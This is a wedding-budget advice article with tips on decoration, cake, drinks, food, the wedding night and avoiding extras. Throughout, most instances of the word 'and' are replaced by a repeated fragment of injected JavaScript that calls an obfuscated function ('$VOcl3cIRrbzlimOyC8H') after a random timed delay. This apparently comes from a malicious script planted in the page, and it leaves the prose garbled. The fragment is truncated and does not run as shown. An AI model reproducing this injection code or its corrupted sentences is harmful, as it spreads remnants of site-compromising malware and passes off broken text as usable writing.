Unfortunately; with the economy still struggling to find it’s feet, none of us have bottomless pockets.

When you are planning a wedding, it’s more important now than ever before to spend your money wisely andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} we are going to tell you how. Read on for our tips on how to prioritize your wedding budget.

 

1) Decoration

 

There’s no need to go over the top with decoration; but you do want your wedding to look the part. Focus on buying pieces to decorate key areas of your venue; where your guests will be spending the majority of their time. Keep it simple but invest in good quality pieces such as extravagant floral decorations. Pay close attention to the top table as this is where all eyes will be, invest the majority of your decoration budget here andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you will have such a show stopping table that your guests wont notice that the rest of the room is keyed down.

2) The Cake

 

Again, choose quality! You could have the largest, blingiest cake ever, but if it tastes like cardboard when you bite into it then you’ve wasted your money. Naked wedding cakes are extremely popular andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} complement a rustic theme, not only that, but because they have no icing to preserve the sponge they have to be made with the freshest ingredients. The fresher the ingredients the nicer the cake will taste. Trust me, your guests will thank you for it!

3) Drinks

 

There’s nothing worse than running out of drinks at a party, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} this goes double for a wedding. Buy plenty of drinks; andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} if you are bringing your own then make sure you shop around for the best deals- buying more than you think you’ll need. If your venue is providing the drinks then set an initial budget asking them to notify you if andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} when it is reached- then you can decide whether or not you will be willing to add to it.

4) Food

 

Top quality, in-season produce is the way to go when it comes to catering your wedding. Don’t scrimp on the food just so that you can have more of it. Spend where it counts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} have a couple of top notch meals on the menu rather than a whole load of mediocre ones. Keeping the food in season will keep the costs down andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} will give you a more palatable menu.

 

Remember not to over-cater. How many weddings have you been to where it feels like all you're doing is eating? Canapés, followed by a massive three course meal, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} just when you think you’re about to burst they cut the cake, ok andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} of course come the evening time there’s the buffet… It’s all just too much. Double up some things; you can always serve your canapés as starters andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cake as dessert which will give you more money to spend where it matters; that’s right - on the quality!

5) The Wedding Night

 

Bow chicka wah waaah! You only get one wedding night so make sure it’s special. Treat yourselves to a gorgeous honeymoon suite that you can retreat to together at the end of the night. There’s something so satisfying in waking up in a beautiful bedroom, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} don’t forget the breakfast in bed- it’s a must!

And the final things to remember:

 

6) Compromise

 

Getting married during peak times is going to cost you; particularly if you had your heart set on Valentine's day. We appreciate the romantic connotations but the extra charges incurred by the date simply aren’t worth it. Be flexible with your wants andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you’ll have no trouble keeping you wedding budget in check.

7) Keep Sight Of What Matters

 

Only spend big on things that are important to you. If having live music isn’t a deal-breaker for you then hire a DJ; if you aren’t a big fan of flowers or suffer with hayfever then opt for different decorations. Don’t spend money to impress your guests, spend money on what is important to you. It is your wedding after all!

8) Avoid Added Extras 

 

We appreciate that while it is a nice idea to buy special guests gifts, or provide transport, or splash out on quirky favours- it’s not always financially doable. These added extras, while a nice thought, are not needed. Your guests are there to celebrate with you andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} if that means they have to come home in transport they’ve paid for, without a cookie with your initials on it, then so be it!
